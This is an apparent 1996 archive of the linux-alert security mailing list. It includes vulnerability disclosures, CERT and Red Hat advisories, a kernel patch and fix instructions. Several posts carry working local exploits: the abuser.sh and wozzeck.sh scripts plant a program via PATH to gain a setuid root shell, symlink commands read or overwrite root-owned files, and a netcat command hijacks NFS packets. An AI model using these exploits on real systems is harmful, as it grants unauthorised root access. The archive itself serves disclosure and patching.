The security hole present in these two programs is that when opening
up the configuration files in the user's home directory, root privileges
are maintained, and symbolic links are followed. This allows an arbitrary
file to to be opened. Fortunately, the program does not simply dump the
contents of this file anywhere, and only certain formatting is allowed in
the file to be processed by the program in order to see any output. In
the cases where it will be processed, only the first line of the file will
actually be output to the user.
Program: /usr/bin/mh/inc, /usr/bin/mh/msgchk
Affected Operating Systems: RedHat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /usr/bin/mh/inc /usr/bin/mh/msgchk
Security Compromise: read 1st line of some arbitrary files
Author: Dave M. ([email protected])
Synopsis: inc & msgchk fail to check file permissions
before opening user configuration files
in the user's home directory, allowing a user
on the system to read the first line of any
file on the system with some limitations.
Exploit:
$ ln -s FILE_TO_READ ~/.mh_profile
$ /usr/bin/mh/msgchk
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
From [email protected] Mon Jan 29 11:19:07 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA11971; Mon, 29 Jan 1996 11:19:06 -0500
Message-ID:
Date: Mon, 29 Jan 1996 00:16:46 -0500 (EST)
From: David J Meltzer
To: [email protected], [email protected],
[email protected], [email protected],
[email protected]
Subject: XFree86 3.1.2 Security Problems
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
There are security holes in XFree86 3.1.2, which installs its servers
as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files,
it does not take proper precautions to ensure that file permissions are
maintained, resulting in the ability to overwrite files, and to read
limited portions of other files.
The [primary] problem stems from the server opening a temporary file,
/tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this
file a symlink, the server will overwrite the original file, and then
write to it its current pid.
Program: XFree86 3.1.2 servers
Affected Operating Systems: All systems with XFree86 3.1.2 installed
Requirements: account on system
Temporary Patch: chmod o-x /usr/X11R6/bin/XF86*
Security Compromise: overwrite arbitrary files
Author: Dave M. ([email protected])
Synopsis: While running suid root, XFree86 servers do
not properly check file permissions, allowing
a user to overwrite arbitrary files on a
system.
Exploit:
$ ls -l /var/adm/wtmp
-rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp
$ ln -s /var/adm/wtmp /tmp/.tX0-lock
$ startx
(At this point exit X if it started, or else ignore any error messages)
$ ls -l /var/adm/wtmp
-r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
From [email protected] Wed Jan 31 15:50:36 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA25350; Wed, 31 Jan 1996 15:50:36 -0500
Date: Tue, 30 Jan 1996 15:18:21 -0800 (PST)
From: "Aleph's K-Rad GECOS Field"
To: [email protected]
cc: [email protected], [email protected],
[email protected]
Subject: bind() Security Problems
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
System Call: bind()
Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix
Probably others.
Requirement: account on system.
Security Compromise: Stealing packets from
nfsd, yppasswd, ircd, etc.
Credits: *Hobbit*
bitblt
Aleph One
Synopsis: bind() does not properly check
to make sure there is not a socket
already bound to INADDR_ANY on the same
port when binding to a specific address.
On most systems, a combination of setting the SO_REUSEADDR
socket option, and a call to bind() allows any process to bind to
a port to which a previous process has bound width INADDR_ANY. This
allows a user to bind to the specific address of a server bound to
INADDR_ANY on an unprivileged port, and steal its udp packets/tcp
connection.
Exploit:
Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz
Make sure an nfs server is running:
w00p% netstat -a | grep 2049
udp 0 0 *.2049 *.* LISTEN
Run netcat:
w00p% nc -v -v -u -s 192.88.209.5 -p 2049
listening on [192.88.209.5] 2049 ...
Wait for packets to arrive.
Fix:
Linux: A patch was been sent to Linus and Alan Cox. It should be
included with 1.3.60. My original patch (included bellow) allows for
binds from the same uid, as some virtual hosting software like modified
httpds, and ftpds, may break otherwise.
Alan didnt like this, so all bind to the same port will
not be allowed in newer kernels. You should be able to easily adapt
this patch or Alan's patch to 1.2.13 without much trouble.
Others: Pray to your vendors.
--- begin patch ---
diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c
--- linux-1.3.57/net/ipv4/af_inet.c Mon Dec 25 20:03:01 1995
+++ linux/net/ipv4/af_inet.c Tue Jan 16 19:46:28 1996
@@ -46,6 +46,8 @@
* Germano Caronni : Assorted small races.
* Alan Cox : sendmsg/recvmsg basic support.
* Alan Cox : Only sendmsg/recvmsg now supported.
+ * Aleph One : Rogue processes could steal packets
+ * from processes bound to INADDR_ANY.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
@@ -899,6 +901,12 @@
if (sk2->num != snum)
continue; /* more than one */
+ if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) &&
+ current->euid != sk2->socket->inode->i_uid)
+ {
+ sti();
+ return(-EADDRINUSE);
+ }
if (sk2->rcv_saddr != sk->rcv_saddr)
continue; /* socket per slot ! -FB */
if (!sk2->reuse || sk2->state==TCP_LISTEN)
Aleph One / [email protected]
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
linux-alert/linux-alert.9602100664 1767 1767 45110 6106465737 15212 0ustar majdommajdomFrom [email protected] Thu Feb 1 04:58:02 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id EAA29705; Thu, 1 Feb 1996 04:58:02 -0500
Date: Tue, 30 Jan 1996 01:50:06 -0500 (EST)
From: "Alexander O. Yuriev"
To: Linux Security Mailing List
cc: big-linux-mailing-list , [email protected]
Subject: LSF Update#11: Vulnerability of rxvt
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Linux Security FAQ Update
rxvt vulnerability
Wed Jan 24 13:25:44 EST 1996
Copyright (C) 1995, 1996 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive
=============================================================================
ABSTRACT
The rxvt program used to emulate VT100 terminal in the X11
environment can be exploited to gain unauthorized root access.
This Linux Security FAQ Update provides information that can be
used to deal with this problem.
RISK ASSESSMENT
The information released to full-disclosure mailing lists allows
any local user to obtain an unauthorized root access if rxvt is
installed as a suid-to-root program.
SOLUTION TO THE PROBLEM
Immediately remove a suid bit from the rxvt binary using command:
chmod 111 /usr/X11R6/bin/rxvt
This assumes that you have rxvt installed as /usr/X11R6/bin/rxvt.
If that is not the case, locate the binary and substitute
/usr/X11R6/bin/rxvt with its name. You can use one of the following
commands to locate rxvt:
locate rxvt | grep -v rxvt.1x
or
find / -type f -name rxvt -print
DISTRIBUTION FIXES
After you install the distribution-specific fixed version of rxvt,
you should make the rxvt binary suid-to-root.
Red Hat Linux 2.1 & 2.0, Caldera Network Desktop
The Red Hat Commercial Linux 2.0 and 2.1 distributions and
Caldera Network Desktop are vulnerable to an attack against
rxvt. Marc Ewing ([email protected]) provided the RPM package
that fixes the security problem with rxvt. The package can be
obtained from one of the following URLs:
ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/rxvt-2.10-3.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.1/rxvt-2.10-3.i386.rpm
ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat2.0/rxvt-2.10-3.i386.rpm
Please verify the MD5 hash of the file prior to installing
the package:
b50028ae040c7778d3a0fe98316f5615 rxvt-2.10-3.i386.rpm
Debian/GNU Linux
The Debian/GNU Linux distribution includes a vulnerable
version of rxvt. Ian Murdock ([email protected]) provided
information about the official replacement package for the
Debian/GNU Linux that fixes this rxvt problem. The fixed
package can be obtained from one of the following URLs:
ftp://ftp.debian.org/debian/debian-0.93/binary/x11/rxvt-2.10-2.deb
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb
ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb
Please verify the MD5 hash of the file prior to installing
the package.
f6a704ede216a3e67e8517a5d179a6f2 rxvt-2.10-2.deb
Slackware 3.0
Slackware 3.0 is vulnerable to an attack against rxvt. There
is no Slackware-specific fixed version of rxvt package
available at this time.
Until such fixed version of rxvt becomes available, users
of Slackware 3.0 are advised to follow the procedure in the
"Other Linux Distributions" section of this Update.
Yggdrasil Plug & Play Fall'95
Yggdrasil Plug and Play Fall'95 Linux distribution does not
include rxvt and therefore is not vulnerable as long as you
did not install your own version of rxvt.
Other Linux Distributions
If your Linux distribution is not listed above or there is
no fixed version of rxvt available for your distribution or
you installed rxvt yourself, it is recommended that you
obtain the source code of rxvt used as a base for
Debian/GNU Linux package.
The source code can be obtained from one of the following
URLs:
ftp://ftp.debian.org/debian/debian-0.93/source/x11/rxvt-2.10-2.tar.gz
ftp://bach.cis.temple.edu/pub/Linux/Security/rxvt-2.10-2.tar.gz
ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/OTHER/rxvt-2.10-2.tar.gz
Please verify the MD5 hash of the file prior to installing
it.
f3e08f8f97da3c4f245c8de970e05c9d rxvt-2.10-2.tar.gz
CREDITS
Marc Ewing ([email protected])
Ian Murdock ([email protected])
Adam J. Richter ([email protected])
Olaf Kirch ([email protected])
Allen Wheelwright ([email protected])
Jeff Uphoff ([email protected])
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMQ2+koxFUz2t8+6VAQGuWgQAgjshASO3Mz8ldHoUnJlSsDdXPwipmdc8
JLHGauq+AZasvWSoZKSpenakwklkzTDPNYm48g7/jlE97B2yANi1JxxYaK+QjZg8
C5imnKxj2LvgDxVy6+aSG1NvBqIWEush7VX2+Ubh1P3K8E2tth6SsdDx3qfY3/wK
gbWzEY7Qu/4=
=dCW2
-----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
From [email protected] Thu Feb 1 05:03:25 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id FAA29761; Thu, 1 Feb 1996 05:03:24 -0500
Message-Id:
To: [email protected]
Cc: [email protected]
Subject: Problem with minicom 1.71
Mime-Version: 1.0
Content-Type: text/plain
Date: Thu, 01 Feb 1996 04:07:01 +0100
From: Olaf Kirch
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Hi all,
There is a problem present in minicom 1.72 and earlier versions that
allows local users to execute programs under whatever uid or gid minicom
runs. People often make minicom suid or sgid to some ID because they
keep their tty log files in the UUCP spool directory or something like
this. Please check whether your minicom binary runs suid or sgid, and
consider upgrading.
Miquel van Smoorenburg has fixed this in his latest version available at
http://sunsite.unc.edu/pub/Linux/apps/comm/minicom-1.74.tar.gz
Note that this is *not* the same problem as the one discussed half a
year ago. I will send a more detailed explanation to linux-security
within the next few days.
Cheers
Olaf
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
iQCVAwUBMRAuTOFnVHXv40etAQFXZQP/TDNpB0Gyi64hDMsf2A2FqC6FyjSg7ZVT
7PwcTuH3Zu6Vh6qDQ9VpWYjpCxBLRd0ho6A4scCbQx90yGTuWwp6McMcYPyZlREo
0IvYW5B6MkBA0aeuJS1dNEotRfZhEMmzK50tvhXyaw+iRnlzOcX7dgMPsZgoGz/o
ADCBsM5Vrnk=
=SQva
-----END PGP SIGNATURE-----
From [email protected] Sat Feb 3 11:58:25 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA07412; Sat, 3 Feb 1996 11:58:25 -0500
Message-ID: <[email protected]>
Date: Fri, 2 Feb 1996 22:28:30 -0500 (EST)
From: David J Meltzer
To: [email protected], [email protected],
[email protected], [email protected]
Subject: abuse Red Hat 2.1 security hole
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
There is a security hole in Red Hat 2.1, which installs the game abuse,
/usr/lib/games/abuse/abuse.console suid root. The abuse.console program
loads its files without absolute pathnames, assuming the user is running
abuse from the /usr/lib/games/abuse directory. One of these files in the
undrv program, which abuse executes as root. If the user is not in the
abuse directory when running this, an arbitrary program can be substituted
for undrv, allowing the user to execute arbitrary commands as root.
If abuse.console needs to be run by users other than root at the console,
provisions need to be made in the code to not execute or load any files
as root.
Program: /usr/lib/games/abuse/abuse.console suid root
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /usr/lib/games/abuse/abuse.console
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: abuse.console runs undrv without an absolute
pathname while executing as root, allowing
a user to substitute the real undrv with
an arbitrary program.
Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# by Dave M. ([email protected])
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
From [email protected] Sat Feb 3 11:58:32 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA07426; Sat, 3 Feb 1996 11:58:31 -0500
Message-ID:
Date: Fri, 2 Feb 1996 22:31:23 -0500 (EST)
From: David J Meltzer
To: [email protected], [email protected],
[email protected], [email protected]
Subject: resizecons Red Hat 2.1 security hole
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
There is a security hole in Red Hat 2.1, which installs the program
/usr/bin/resizecons suid root. The resizecons program allows a user
to change the videmode of the console. During this process, it runs
the program restoretextmode without an absolute pathname, assuming the
correct version will be found in the path, while running with root
privileges. It then executes setfont in the same manner. By setting
the path to find a rogue restoretextmode, a user can execute an arbitrary
program as root.
As a more amusing aside, the file /tmp/selection.pid is read and the
pid contained within is sent a SIGWINCH, allowing a user on the system
to force a redraw of the screen to an arbitrary process (that handles
SIGWINCH calls) on the machine.
If /usr/bin/resizecons needs to be run by users other than root at the
console, provisions need to be made in the code to execute the outside
utilities with absolute pathnames, and to check access rights on files
before opening.
Program: /usr/bin/resizecons
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Temporary Patch: chmod -s /usr/bin/resizecons
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: resizecons runs restoretextmode without an
absolute pathname while executing as root,
allowing a user to substitute the real
program with arbitrary commands.
Exploit:
wozzeck.sh:
#!/bin/sh
#
# wozzeck.sh
# exploits a security hole in /usr/bin/resizecons
# to create a suid root shell in /tmp/wozz on a
# linux Red Hat 2.1 system.
#
# by Dave M. ([email protected])
#
echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/bin/resizecons
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/313x37
This exploit is dedicated to
Wozz. Use it with care.
_EOF_
cat << _EOF_ > /tmp/restoretextmode
#!/bin/sh
/bin/cp /bin/sh /tmp/wozz
/bin/chmod 4777 /tmp/wozz
_EOF_
/bin/chmod +x /tmp/restoretextmode
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
From [email protected] Thu Feb 8 15:07:30 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA27760; Thu, 8 Feb 1996 15:07:30 -0500
Resent-Date: Thu, 8 Feb 1996 15:04:40 -0500
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected]
Message-Id: <[email protected]>
X-Mailer: exmh version 1.6.4 10/10/95
Mime-Version: 1.0
Content-Type: application/pgp; format=mime; x-action=signclear; x-originator=82BFC7ED
Content-Transfer-Encoding: 7bit
From: Marc Ewing
To: [email protected]
Cc: [email protected], [email protected], [email protected],
[email protected], [email protected]
Subject: [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
Date: Tue, 06 Feb 1996 15:26:03 -0500
X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Content-Type: text/plain; charset=us-ascii
There is a security hole in the kbd package as shipped with Red Hat Linux
2.0 and 2.1, both Intel and Alpha platforms. The hole allows any user
to gain root privileges. All users should upgrade immediately:
Intel:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/kbd-0.91-1.i386.
rpm
Alpha:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/kbd-0.91-1.a
xp.rpm
MD5 sums:
34b5f96e57f4cfcb29c22f4908582086 kbd-0.91-1.i386.rpm
90fff35ba5e9ca003e4cd4d3370be2aa kbd-0.91-1.axp.rpm
- -Marc
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMRe5WkRxU2iCv8ftAQEkmAP/WDrFnHKb/Byyf/7CMJy8pa1a/pN5UcRO
NRT6ISidNv589C20RadnVLv7HKfpjzLsnB1gF6V7EO9JGI1iOzXLVEgyLiOlYi4z
o1hRLHHVqHpVutvvxDkI+QgIO/ICdh+c/dFrWwVPVydQm4TZ44LVomXqX0Qcj81y
qD6LwZYBpHA=
=2/65
-----END PGP SIGNATURE-----
From [email protected] Thu Feb 8 16:32:13 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA28132; Thu, 8 Feb 1996 16:32:12 -0500
Resent-Date: Thu, 8 Feb 1996 16:29:39 -0500
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected]
Message-Id: <[email protected]>
X-Mailer: exmh version 1.6.4 10/10/95
Mime-Version: 1.0
Content-Type: application/pgp; format=mime; x-action=signclear; x-originator=82BFC7ED
Content-Transfer-Encoding: 7bit
From: Marc Ewing
To: [email protected]
Cc: [email protected], [email protected], [email protected],
[email protected], [email protected]
Subject: [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
Date: Tue, 06 Feb 1996 15:26:03 -0500
X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[Mod: Apologies for the delays on some of the recent messages: I'm
having minor mail delivery problems here. --Jeff]
-----BEGIN PGP SIGNED MESSAGE-----
Content-Type: text/plain; charset=us-ascii
There is a security hole in the kbd package as shipped with Red Hat Linux
2.0 and 2.1, both Intel and Alpha platforms. The hole allows any user
to gain root privileges. All users should upgrade immediately:
Intel:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/kbd-0.91-1.i386.
rpm
Alpha:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/kbd-0.91-1.a
xp.rpm
MD5 sums:
34b5f96e57f4cfcb29c22f4908582086 kbd-0.91-1.i386.rpm
90fff35ba5e9ca003e4cd4d3370be2aa kbd-0.91-1.axp.rpm
- -Marc
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMRe5WkRxU2iCv8ftAQEkmAP/WDrFnHKb/Byyf/7CMJy8pa1a/pN5UcRO
NRT6ISidNv589C20RadnVLv7HKfpjzLsnB1gF6V7EO9JGI1iOzXLVEgyLiOlYi4z
o1hRLHHVqHpVutvvxDkI+QgIO/ICdh+c/dFrWwVPVydQm4TZ44LVomXqX0Qcj81y
qD6LwZYBpHA=
=2/65
-----END PGP SIGNATURE-----
linux-alert/linux-alert.9603100664 1767 1767 47157 6127057673 15227 0ustar majdommajdomFrom [email protected] Tue Mar 5 18:38:51 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id SAA23885; Tue, 5 Mar 1996 18:38:51 -0500
Resent-Date: Tue, 5 Mar 1996 18:36:48 -0500
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected]
Message-Id: <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
From: CERT Advisory
To: [email protected]
Subject: [linux-alert] CERT Advisory CA-96.05 - Java
Date: Tue, 5 Mar 1996 13:34:09 -0500
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
=============================================================================
CERT(sm) Advisory CA-96.05
March 5, 1996
Topic: Java Implementations Can Allow Connections to an Arbitrary Host
-----------------------------------------------------------------------------
The CERT Coordination Center has received reports of a vulnerability in
implementations of the Java Applet Security Manager. This vulnerability is
present in the Netscape Navigator 2.0 Java implementation and in Release
1.0 of the Java Developer's Kit from Sun Microsystems, Inc. These
implementations do not correctly implement the policy that an applet may
connect only to the host from which the applet was loaded.
The CERT Coordination Center recommends installing patches from the vendors,
and using the workaround described in Section III until patches can be
installed.
As we receive additional information relating to this advisory, we
will place it in
ftp://info.cert.org/pub/cert_advisories/CA-96.05.README
We encourage you to check our README files regularly for updates on
advisories that relate to your site.
-----------------------------------------------------------------------------
I. Description
There is a serious security problem with the Netscape Navigator 2.0 Java
implementation. The vulnerability is also present in the Java Developer's
Kit 1.0 from Sun Microsystems, Inc. The restriction allowing an applet to
connect only to the host from which it was loaded is not properly
enforced. This vulnerability, combined with the subversion of the DNS
system, allows an applet to open a connection to an arbitrary host on the
Internet.
In these Java implementations, the Applet Security Manager allows an
applet to connect to any of the IP addresses associated with the name
of the computer from which it came. This is a weaker policy than the
stated policy and leads to the vulnerability described herein.
II. Impact
Java applets can connect to arbitrary hosts on the Internet, including
those presumed to be previously inaccessible, such as hosts behind a
firewall. Bugs in any TCP/IP-based network service can then be exploited.
In addition, services previously thought to be secure by virtue of their
location behind a firewall can be attacked.
III. Solution
To fix this problem, the Applet Security Manager must be more strict
in deciding which hosts an applet is allowed to connect to. The Java
system needs to take note of the actual IP address that the applet truly
came from (getting that numerical address from the applet's packets as
the applet is being loaded), and thereafter allow the applet to connect
only to that same numerical address.
We urge you to obtain vendor patches as they become available.
Until you can install the patches that implement the more strict
applet connection restrictions, you should apply the workarounds
described in each section below.
A. Netscape users
For Netscape Navigator 2.0, use the following URL to learn more about
the problem and how to download and install a patch:
http://home.netscape.com/newsref/std/java_security.html
Until you install the patch, disable Java using the "Security
Preferences" dialog box.
B. Sun users
A patch for Sun's HotJava will be available soon.
Until you can install the patch, disable applet downloading by
selecting "Options" then "Security...". In the "Enter desired security
mode" menu, select the "No access" option.
In addition, select the "Apply security mode to applet loading" to
disable applet loading entirely, regardless of the source of the
applet.
C. Both Netscape and Sun users
If you operate an HTTP proxy server, you could also disable
applets by refusing to fetch Java ".class" files.
---------------------------------------------------------------------------
The CERT Coordination Center thanks Drew Dean, Ed Felton, and Dan Wallach of
Princeton University for providing information for this advisory. We thank
Netscape Communications Corporation, especially Jeff Truehaft, and Sun
Microsystems, Inc., especially Marianne Mueller, for their response to this
problem.
---------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident
Response and Security Teams (FIRST).
We strongly urge you to encrypt any sensitive information you send by email.
The CERT Coordination Center can support a shared DES key and PGP. Contact the
CERT staff for more information.
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
CERT Contact Information
------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
[email protected]
CERT publications, information about FIRST representatives, and other
security-related information are available for anonymous FTP from
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided it
is used for noncommercial purposes and the copyright statement is included.
CERT is a service mark of Carnegie Mellon University.
From [email protected] Fri Mar 8 03:28:33 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id DAA08721; Fri, 8 Mar 1996 03:28:33 -0500
Date: Fri, 8 Mar 1996 03:15:51 -0500
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected]
CC: [email protected]
Subject: [linux-alert] NCSA httpd cgi-bin application vulnerability.
X-Palindrome: Ten animals I slam in a net.
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
If you are running NCSA's httpd WWW server (or, conceivably, someone
else's), have compiled the phf.c application found in the NCSA
distribution's cgi-src directory, and have installed it into an area
designated for cgi-bin applications, please 'chmod a-x' it immediately.
(This applies to *at least* the phf.c application as provided with NCSA
httpd versions 1.3 and 1.5a-export; I've not inspected the other
distributions yet.)
Many sites (I've looked around a bit and have had a hit rate of roughly
50% so far, but maybe I'm just "lucky")--including the top-level WWW
servers for some large and/or very high-profile domains--appear to have
"blindly" installed all of the cgi-src applications provided with NCSA's
httpd. The most notable aspect of this particular cgi-bin
vulnerability, at least to me, is not so much the vulnerability itself
(it's been seen before) but rather its quite widespread nature.
This vulnerability allows a remote client to retrieve any world-readable
file from the server system, as well as execute commands and create
files on the server with the privileges of the euid of the httpd server
process.
Depending on the server's (mis)configuration, this could conceivably be
used as an avenue through which to replace the httpd server binary
itself with a trojan--quite possibly to be run as root during the
system's next boot cycle. It can also be used, largely independent of
the server system's configuration--and rather easily--to gain remote
interactive access to the server with the userid that the httpd server
runs under. (I'm sure there are lots of other "nifty" possibilities,
but I first found out about this a just few waking hours ago and have so
far performed only the most basic proof-of-concept exploits.)
More details (full disclosure, etc.) to follow on the linux-security
list and on Bugtraq....
--Up.
P.S. I'll bet everyone just can't wait for Java!
--
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | [email protected]
PGP key available at: http://www.cv.nrao.edu/~juphoff/
From [email protected] Thu Mar 21 11:37:22 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id LAA19743; Thu, 21 Mar 1996 11:37:21 -0500
Message-Id:
To: [email protected]
cc: [email protected], [email protected]
Subject: [linux-alert] Problem with sliplogin on Linux
Date: Wed, 20 Mar 1996 19:58:05 +0100
From: Olaf Kirch
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Hi all,
When installed to provide users with SLIP accounts on your system,
sliplogin can be abused to execute commands under the root uid.
This hole does *not* seem to be expoitable when you don't have any SLIP
users configured in your /etc/passwd.
I'm not going to give away the details of the exploit yet; watch for a
follow-up posting to linux-security within a week or two.
Anyone providing SLIP logins using this program should upgrade to the
latest version from sunsite.unc.edu:
ftp://sunsite.unc.edu/pub/linux/system/Network/serial/sliplogin-2.0.2.tar.gz
md5sum: 1634ab3f8d0ce130e59476ede9662ee5 sliplogin-2.0.2.tar.gz
Cheers
Olaf
PS: you may have to adapt your login/logout scripts because the
argument list has been changed throughout several releases.
- --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
For my PGP public key, finger [email protected].
-----BEGIN PGP SIGNATURE-----
